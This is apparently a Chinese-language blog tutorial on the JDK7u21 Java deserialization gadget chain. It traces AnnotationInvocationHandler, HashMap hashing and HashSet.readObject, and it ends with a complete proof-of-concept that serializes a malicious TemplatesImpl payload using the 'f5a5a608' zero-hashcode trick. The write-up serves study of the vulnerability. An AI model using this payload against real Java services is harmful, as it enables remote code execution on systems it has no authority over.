Java反序列化漏洞學習(二) Jdk7u21利用鏈分析
JDK7u21的核心點是我們在cc1中也出現過的AnnotationInvocationHandler,在cc1中我們用到了他會觸發this.memberValues.get(var4);這個點,而在JDK7u21中利用到了他里面的equalsImpl。先來看一下equalsImpl。
private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { //獲取一個Method列表 Method[] var2 = this.getMemberMethods(); int var3 = var2.length; //遍歷列表 for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; //判斷var1是否為AnnotationInvocationHandler對象,如果是的化返回對象 //不是的話返回null AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { //調用Method方法 var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } }
if (!memberValueEquals(var7, var8)) { return false; } }
return true; }}
private Method[] getMemberMethods() { if (this.memberMethods == null) { this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction() { public Method[] run() { //獲取this.type類的所有方法 Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); AccessibleObject.setAccessible(var1, true); return var1;}} );} return this.memberMethods;}
遍歷執行了this.type指向的類的所有方法,如果我們將this.type賦值為Templates.class,equalsImpl中傳入TemplatesImpl就會執行他的getOutputProperties方法,而我們在前面也講過getOutputProperties會觸發類加載最后會執行我們的惡意類。
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else { assert var5.length == 0; if (var4.equals("toString")) { return this.toStringImpl(); } else if (var4.equals("hashCode")) { return this.hashCodeImpl(); } else if (var4.equals("annotationType")) { return this.type; } else { Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } }}
在AnnotationInvocationHandler的invoke中調用了equalsImpl。如果代理的對象執行了equals方法就會進入equalsImpl,傳入proxy對象的第一個參數進入equalsImpl。一個簡單的demo演示一下如何利用equalsImpl。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;
import javax.xml.transform.Templates;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;
public class JDK7u21 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); //this.type傳入Templates.class InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, new HashMap()); //生成代理對象 Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler); //手動觸發proxy的equals方法,參數傳入我們的惡意TemplatesImpl proxy.equals(templates); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
之后就是找哪里的反序列化會調用到我們的equals方法。看到HashMap的put方法
public V put(K key, V value) { if (key == null) return putForNullKey(value); //計算對象的hash int hash = hash(key); //計算放在table的索引 int i = indexFor(hash, table.length); //如果索引位置已經有元素進去for循環 for (HashMap.Entry e = table[i]; e != null; e = e.next) { Object k; //如果兩個對象的hash相同就判斷兩對象是否是同一個,如果不是就是調用equals比較 if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null;}
我們只要第一次put惡意的TemplatesImpl對象,第二次put一個proxy對象就可以構造出,proxy.equals(TemplatesImpl)。但是還需要讓兩對象的hash相同。看看hash方法是怎么計算hash的。
final int hash(Object k) { int h = 0; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; }
h ^= k.hashCode(); h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4);}
兩對象的hash結果是否相等取決于他們的hashCode方法返回是否相等,TemplateImpl的hashCode() 是一個Native方法,每次運 行都會發生變化,所以要讓兩個對象的hash相等只能寄希望于proxy.hashcode。調用proxy.hashcode也會進入到AnnotationInvocationHandler的invoke方法接著進入到hashCodeImpl方法。
private int hashCodeImpl() { int var1 = 0;
Map.Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Map.Entry)var2.next(); }
return var1;}
也就是我們的結果是所有的(127 * key.hashCode())^value.hashCode()的和。
JDK7u21中使用了一個非常巧妙的方法:
?當memberValues中只有一個entry時結果可以簡化成(127 * key.hashCode())^value.hashCode()
?當key,hashCode=0時結果可以簡化成value.hashCode
?當value 就是TemplateImpl對象時,這兩個哈希就變成完全相等
在HashSet的readObject中使用到了HashMap來去重
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in any hidden serialization magic s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this) instanceof LinkedHashSet ? new LinkedHashMap(capacity, loadFactor) : new HashMap(capacity, loadFactor));
// Read in size int size = s.readInt();
// Read in all elements in the proper order. for (int i=0; i E e = (E) s.readObject(); map.put(e, PRESENT); }}
然后漏洞的流程就很明了了,我這里直接貼p神的payload
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.codec.binary.Base64;
import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.HashSet;import java.util.LinkedHashSet;import java.util.Map;
public class JDK7u21 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 實例化一個map,并添加Magic Number為key,也就是f5a5a608,value先隨便設置一個值 HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo");
// 實例化AnnotationInvocationHandler類 Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 為tempHandler創造一層代理 Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 實例化HashSet,并將兩個對象放進去 HashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy);
// 將惡意templates設置到map中 map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(set); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
第一次map.put(zeroHashCodeStr, "foo");是為了set.add時候不觸發利用鏈執行,而第二次 map.put(zeroHashCodeStr, templates);將真正的templates設置進去,這里因為他們的key都是相同的所以就是將舊的的value替換成templates。